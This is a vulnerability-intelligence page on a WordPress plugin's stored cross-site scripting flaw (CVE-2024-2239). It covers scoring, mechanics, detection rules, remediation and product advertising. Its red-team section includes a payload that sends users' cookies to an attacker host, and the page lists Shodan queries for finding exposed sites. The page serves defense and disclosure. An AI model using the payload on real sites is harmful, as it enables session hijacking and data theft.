☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-2239

CVE-2024-2239 Cross-Site Scripting in Premium addons pro
📅 PUBLISHED: 2024-03-13 15:32 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.23%
👁️
0.23% probability
5.7× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-2239 is a Stored Cross-Site Scripting (XSS) vulnerability in the Premium Addons PRO WordPress plugin, specifically within the Premium Magic Scroll module. The flaw exists in all versions up to and including 2.9.12 due to insufficient input sanitization and output escaping. Authenticated attackers with contributor-level access or higher can inject arbitrary web scripts that execute when a user accesses an injected page. This vulnerability is part of the WordPress ecosystem and does not affect Apache or Nginx directly.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a commercial WordPress plugin distributed via the WordPress plugin repository and third-party marketplaces. Users should verify the integrity of their plugin files and ensure they are sourced from trusted vendors. No known supply chain compromise has been reported, but the lack of a patch increases risk.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.4 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (contributor-level)
  • User Interaction: None
  • Scope: Changed (affects other components)
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

The threat level is medium due to the requirement for authenticated access, but the potential for widespread impact on WordPress sites using the plugin is significant.

Deep Dive & Mechanics

The vulnerability resides in the Premium Magic Scroll module of the Premium Addons PRO plugin. The module fails to properly sanitize user-supplied input and escape output when rendering dynamic content. An attacker with contributor-level access can inject malicious JavaScript or HTML into page content. When other users (including administrators) view the affected page, the injected script executes in their browser context, potentially leading to session hijacking, data theft, or further compromise.

The root cause is the lack of proper validation and escaping in the module's rendering functions, likely in PHP files handling shortcodes or widget output. The vulnerability is stored in the database, making it persistent.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on common XSS fixes.

Vulnerable Code (PHP):

function render_magic_scroll($atts) {
    $content = $atts['content'];
    echo '<div class="premium-magic-scroll">' . $content . '</div>';
}

Patched Code (PHP):

function render_magic_scroll($atts) {
    $content = esc_html($atts['content']);
    echo '<div class="premium-magic-scroll">' . wp_kses_post($content) . '</div>';
}

The patched version uses esc_html() or wp_kses_post() to sanitize and escape output, preventing script injection.

Exploitation & Lab Setup

Red Team

  1. Prerequisites: WordPress site with Premium Addons PRO <= 2.9.12, contributor-level account.
  2. Steps:
    • Log in as a contributor.
    • Create or edit a page/post.
    • Insert the Premium Magic Scroll module via the page builder.
    • In the content field, inject payload: <script>alert('XSS')</script>.
    • Save and publish.
    • When an admin or other user views the page, the script executes.

Example Payload:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team

  1. Detection: Monitor for unusual page content modifications by contributor-level users.
  2. Prevention: Disable the Premium Magic Scroll module until a patch is applied.
  3. Response: Remove malicious content from pages and reset compromised user sessions.

Indicators of Compromise (IOCs)

  • File Hashes: (None available; check plugin files for modifications)
  • Network Indicators: Outbound connections to unknown domains from WordPress admin pages.
  • Log Entries: Suspicious page edits by contributor accounts, especially with script tags in content.
  • Database Indicators: Presence of <script> tags in wp_posts.post_content for pages using the Premium Magic Scroll module.

Detection Engineering

YARA Rule

rule CVE_2024_2239_Premium_Addons_XSS {
    meta:
        description = "Detects malicious script injection in Premium Addons PRO Magic Scroll module"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-2239"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $magic_scroll = "premium-magic-scroll"
    condition:
        $magic_scroll and #xss_payload > 0
}

Sigma Rule

title: CVE-2024-2239 Stored XSS in Premium Addons PRO
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS attempts via Premium Magic Scroll module
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url|contains: "/wp-admin/admin-ajax.php"
        http.body|contains: "premium-magic-scroll"
        http.body|contains|re: "<script[^>]*>.*?</script>"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in page content
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-2239 Premium Addons PRO Stored XSS"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"premium-magic-scroll"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate: Disable the Premium Magic Scroll module in the plugin settings.
  2. Short-term: Restrict contributor-level access to only trusted users.
  3. Long-term: Apply a patch when released by the vendor. If no patch is available, consider replacing the plugin with an alternative.
  4. Monitoring: Implement WAF rules to block XSS payloads in page content.
  5. User Education: Train content creators to avoid inserting raw HTML/JavaScript.

Report generated by Valters IT DevSecOps & CTI Expert

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Premium Addons PRO"
http.html:"premium-magic-scroll"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-2239/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.